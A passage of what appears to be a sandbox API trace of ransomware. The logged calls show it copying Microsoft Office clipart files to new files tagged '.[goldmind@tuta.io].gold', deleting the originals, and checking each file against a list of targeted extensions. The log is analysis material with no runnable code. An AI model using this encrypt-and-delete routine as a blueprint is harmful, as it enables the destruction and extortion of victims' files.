Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.236] GetLastError () returned 0x0 [0051.236] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x34cb, lpOverlapped=0x0) returned 1 [0051.237] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0051.238] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.238] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.238] SetEndOfFile (hFile=0x1a0) returned 1 [0051.238] CloseHandle (hObject=0x1a0) returned 1 [0051.238] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.238] SetEndOfFile (hFile=0x1e8) returned 1 [0051.239] CloseHandle (hObject=0x1e8) returned 1 [0051.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.239] lstrlenW (lpString=".doc") returned 4 [0051.239] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.240] lstrlenW (lpString=".docx") returned 5 [0051.240] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.240] lstrlenW (lpString=".pdf") returned 4 [0051.240] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".xls") returned 4 [0051.240] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".xlsx") returned 5 [0051.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.240] lstrlenW (lpString=".ppt") returned 4 [0051.240] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".zip") returned 4 [0051.240] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".rar") returned 4 [0051.240] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".bz2") returned 4 [0051.240] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.240] lstrlenW (lpString=".7z") returned 3 [0051.240] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".dbf") returned 4 [0051.240] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".1cd") returned 4 [0051.240] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".jpg") returned 4 [0051.240] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".doc") returned 4 [0051.240] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.240] lstrlenW (lpString=".docx") returned 5 [0051.240] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.240] lstrlenW (lpString=".pdf") returned 4 [0051.240] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".xls") returned 4 [0051.240] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString=".xlsx") returned 5 [0051.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.240] lstrlenW (lpString=".ppt") returned 4 [0051.240] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.240] lstrlenW (lpString=".zip") returned 4 [0051.241] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.241] lstrlenW (lpString=".rar") returned 4 [0051.241] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.241] lstrlenW (lpString=".bz2") returned 4 [0051.241] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.241] lstrlenW (lpString=".7z") returned 3 [0051.241] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.241] lstrlenW (lpString=".dbf") returned 4 [0051.241] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.241] lstrlenW (lpString=".1cd") returned 4 [0051.241] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0051.241] lstrlenW (lpString=".jpg") returned 4 [0051.241] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.241] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0051.241] lstrlenW (lpString="BD10972_.GIF") returned 12 [0051.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.242] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=20189) returned 1 [0051.242] CloseHandle (hObject=0x1e8) returned 1 [0051.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0051.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.242] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.242] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.242] GetLastError () returned 0x0 [0051.242] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0051.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0051.245] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.245] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.245] SetEndOfFile (hFile=0x1a0) returned 1 [0051.245] CloseHandle (hObject=0x1a0) returned 1 [0051.245] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.245] SetEndOfFile (hFile=0x1e8) returned 1 [0051.246] CloseHandle (hObject=0x1e8) returned 1 [0051.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.246] lstrlenW (lpString=".doc") returned 4 [0051.246] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.246] lstrlenW (lpString=".docx") returned 5 [0051.246] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.246] lstrlenW (lpString=".pdf") returned 4 [0051.246] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.246] lstrlenW (lpString=".xls") returned 4 [0051.246] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.246] lstrlenW (lpString=".xlsx") returned 5 [0051.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.246] lstrlenW (lpString=".ppt") returned 4 [0051.246] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.246] lstrlenW (lpString=".zip") returned 4 [0051.246] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.246] lstrlenW (lpString=".rar") returned 4 [0051.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.246] lstrlenW (lpString=".bz2") returned 4 [0051.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.246] lstrlenW (lpString=".7z") returned 3 [0051.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".dbf") returned 4 [0051.247] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".1cd") returned 4 [0051.247] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".jpg") returned 4 [0051.247] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".doc") returned 4 [0051.247] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString=".docx") returned 5 [0051.247] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.247] lstrlenW (lpString=".pdf") returned 4 [0051.247] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString=".xls") returned 4 [0051.247] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString=".xlsx") returned 5 [0051.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.247] lstrlenW (lpString=".ppt") returned 4 [0051.247] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".zip") returned 4 [0051.247] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString=".rar") returned 4 [0051.247] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.247] lstrlenW (lpString=".bz2") returned 4 [0051.247] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString=".7z") returned 3 [0051.247] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".dbf") returned 4 [0051.247] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".1cd") returned 4 [0051.247] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0051.247] lstrlenW (lpString=".jpg") returned 4 [0051.247] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.247] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0051.247] lstrlenW (lpString="BD19563_.GIF") returned 12 [0051.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.248] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=20454) returned 1 [0051.248] CloseHandle (hObject=0x1e8) returned 1 [0051.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0051.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.248] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.248] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.248] GetLastError () returned 0x0 [0051.248] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0051.250] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0051.250] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.250] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.251] SetEndOfFile (hFile=0x1a0) returned 1 [0051.251] CloseHandle (hObject=0x1a0) returned 1 [0051.251] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.251] SetEndOfFile (hFile=0x1e8) returned 1 [0051.251] CloseHandle (hObject=0x1e8) returned 1 [0051.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.252] lstrlenW (lpString=".doc") returned 4 [0051.252] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString=".docx") returned 5 [0051.252] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.252] lstrlenW (lpString=".pdf") returned 4 [0051.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".xls") returned 4 [0051.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".xlsx") returned 5 [0051.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.252] lstrlenW (lpString=".ppt") returned 4 [0051.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.252] lstrlenW (lpString=".zip") returned 4 [0051.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".rar") returned 4 [0051.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".bz2") returned 4 [0051.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString=".7z") returned 3 [0051.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".dbf") returned 4 [0051.253] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".1cd") returned 4 [0051.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".jpg") returned 4 [0051.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".doc") returned 4 [0051.253] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString=".docx") returned 5 [0051.253] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.253] lstrlenW (lpString=".pdf") returned 4 [0051.253] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString=".xls") returned 4 [0051.253] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString=".xlsx") returned 5 [0051.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.253] lstrlenW (lpString=".ppt") returned 4 [0051.253] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".zip") returned 4 [0051.253] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString=".rar") returned 4 [0051.253] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.253] lstrlenW (lpString=".bz2") returned 4 [0051.253] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString=".7z") returned 3 [0051.253] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".dbf") returned 4 [0051.253] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".1cd") returned 4 [0051.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0051.253] lstrlenW (lpString=".jpg") returned 4 [0051.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.253] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0051.253] lstrlenW (lpString="BD19582_.GIF") returned 12 [0051.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.254] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=15733) returned 1 [0051.254] CloseHandle (hObject=0x1e8) returned 1 [0051.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0051.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.254] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.254] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.254] GetLastError () returned 0x0 [0051.254] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0051.256] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3d80, 